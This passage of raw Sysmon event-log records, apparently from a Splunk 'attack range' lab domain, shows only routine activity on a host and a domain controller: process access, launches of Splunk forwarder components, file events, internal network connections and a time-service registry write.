14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015147Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015146Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-70F7-613B-C904-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015145Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F7-613B-C904-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015144Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.208{625C326B-70F7-613B-C904-00000000F101}3068C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015143Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:35.067{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=758F2C169EFE7A17BDB360E417787EF2,SHA256=A36A0C4B94715A0C783612CEF8A7EBEAD45E3B91C7B7D310298C573012A1C832,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:32.505{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59396-false10.0.1.12-8000- 23542300x800000000000000015187Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.489{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2046179F421D42FAF891E7CB57586000,SHA256=B7CB52C69A335DB074911E35C526E178042C3F66295F2CC441F91A80C75179BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015186Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.489{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C227A9D526AFA856CF0BE2CE95C088D0,SHA256=A24F6A73A62F057D96331AC0487787A21182986E2D308019DA06B520337A060B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015185Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F8-613B-CB04-00000000F101}3724C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015184Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015183Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015182Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015181Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015180Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015179Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015178Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015177Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015176Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015175Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-70F8-613B-CB04-00000000F101}3724C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015174Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F8-613B-CB04-00000000F101}3724C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015173Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.380{625C326B-70F8-613B-CB04-00000000F101}3724C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015189Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:37.442{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9C5758C4CECE4C848BDC0A2794394197,SHA256=461AA8C1D11975035668FBEE6E0E99299F5EF4DA2FA66F589D3258B380E2F3DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015188Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:37.395{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E32D7148D3AE5D086B10B80ED47AADE,SHA256=3D30A6D9079DCE324DDBC7F85632DAAE6F0BB5154E4F4ED21FF2D683827C8619,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:37.146{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69A2517A7CA080D95A6A2E3CE6944E65,SHA256=1727CDB7BB2D11693D043F209ED6511B4F0984306C62FE2B1B6C81CA3390847E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015192Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:38.411{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1301025BEF23C04BFC6C5E1D1894DCB0,SHA256=C126139193B753E60F65F1E4ABF2A5B644E06D13C212C9F18066C56ACA12D4FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:38.302{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B50338CFB566546E999F31EBD6F316C,SHA256=E22C797FF299157AE6D868CC3EEE2A5EA99B5B76ADDC09B44E640D7FC40209E0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015191Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:36.407{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50205-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 13241300x800000000000000015190Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:51:38.098{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a653-0x5ba89c55) 23542300x800000000000000047532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:39.536{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E7398DEBB551B812F6C8165F42F84790,SHA256=024E44A5502D602B433E06CD93B415FD24B225E1E5A3F219EE35198BB2967000,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015193Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:39.473{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1B5426BAE48B4CAD261C935C8293C09,SHA256=752E08E94A969DA849FE387DB4D0A7F6DE81766AD5302FFCF09EBCE6FA60B41D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:38.551{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59397-false10.0.1.12-8000- 23542300x800000000000000047533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:40.771{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9D6CDEAE93C63640B3D50B543482C81,SHA256=07C5CED8657058AE9FB4B611DBC0A2242D23BD41CFADFBBD501561BA003FC7C8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015194Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:40.474{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BEE8ECD9342D310601F2445FE28B264,SHA256=33BB2C2AC227BFFC827E90DEEB2740CDB53747C46902666984C0641C56E7E94E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:41.786{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7DCA3EAF8EC3ACC7F3377E861671588,SHA256=3637D18BD4D821FC5242FAE3831316A0A2AF545E846CC8D7E24F0DB439D4602D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015195Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:41.489{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73D88A8C67DD412F25F5E50A95086255,SHA256=500DCA0720522683B81AA48641F5700995B62E0944CB338058EEF079EB8BD736,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:42.958{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 